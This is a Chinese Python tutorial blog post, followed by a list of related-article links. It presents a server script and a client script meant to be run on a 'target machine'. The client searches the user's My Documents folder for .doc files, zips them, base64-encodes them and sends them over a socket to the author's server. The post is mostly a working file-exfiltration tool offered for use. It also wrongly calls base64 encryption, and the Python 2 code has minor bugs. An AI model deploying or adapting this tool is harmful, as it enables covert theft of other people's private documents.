python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python 域名分析工具实现代码
Jul 15 Python
用Python和MD5实现网站挂马检测程序
Mar 13 Python
Python中%r和%s的详解及区别
Mar 16 Python
疯狂上涨的Python 开发者应从2.x还是3.x着手?
Nov 16 Python
python实现随机梯度下降(SGD)
Mar 24 Python
python入门教程 python入门神图一张
Mar 05 Python
python pycurl验证basic和digest认证的方法
May 02 Python
python numpy格式化打印的实例
May 14 Python
python wxpython 实现界面跳转功能
Dec 17 Python
Tensorflow 自定义loss的情况下初始化部分变量方式
Jan 06 Python
Python timer定时器两种常用方法解析
Jan 20 Python
python实现按日期归档文件
Jan 30 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
详细介绍:Apache+PHP+MySQL配置攻略
2006/09/05 PHP
手把手教你使用DedeCms V3的在线采集图文教程
2007/04/03 PHP
Windows2003下php5.4安装配置教程(Apache2.4)
2016/06/30 PHP
php获取文章内容第一张图片的方法示例
2017/07/03 PHP
一段好玩的JavaScript代码
2006/12/01 Javascript
JavaScript学习笔记记录我的旅程
2012/05/23 Javascript
JS实现往下不断流动网页背景的方法
2015/02/27 Javascript
JQuery跳出each循环的方法
2015/04/16 Javascript
JavaScript获取URL汇总
2015/06/08 Javascript
JavaScript取得WEB安全颜色列表的方法
2015/07/14 Javascript
第七章之菜单按钮图标组件
2016/04/25 Javascript
js实现StringBuffer的简单实例
2016/09/02 Javascript
基于JavaScript实现移动端无限加载分页
2017/03/27 Javascript
解决bootstrap下拉菜单点击立即隐藏bug的方法
2017/06/13 Javascript
关于使用js算总价的问题
2017/06/23 Javascript
解决html input验证只能输入数字,不能输入其他的问题
2017/07/21 Javascript
Mui使用jquery并且使用点击跳转新窗口的实例
2017/08/19 jQuery
vue服务端渲染添加缓存的方法
2018/09/18 Javascript
修改layui的后台模板的左侧导航栏可以伸缩的方法
2019/09/10 Javascript
[01:51]历届DOTA2国际邀请赛举办地回顾 TI9落地上海
2018/08/26 DOTA
Python占用的内存优化教程
2019/07/28 Python
Django中的cookie和session
2019/08/27 Python
python3实现单目标粒子群算法
2019/11/14 Python
Python input函数使用实例解析
2019/11/22 Python
CSS3中媒体查询结合rem布局适配手机屏幕
2019/06/10 HTML / CSS
怀俄明州飞钓:Platte River Fly Shop
2017/12/28 全球购物
阿姆斯特丹杜莎夫人蜡像馆官方网站:Madame Tussauds Amsterdam
2019/03/12 全球购物
印度在线购买电子产品网站:Croma
2020/01/02 全球购物
金融专业个人求职信
2013/09/22 职场文书
自动化专业个人求职信范文
2013/12/30 职场文书
目标责任书范文
2014/04/14 职场文书
取保候审保证书
2014/04/30 职场文书
小学校本培训方案
2014/06/06 职场文书
事业单位年度考核个人总结
2015/02/12 职场文书
2015年七一建党节活动总结
2015/03/20 职场文书
Pytorch中Softmax和LogSoftmax的使用详解
2021/06/05 Python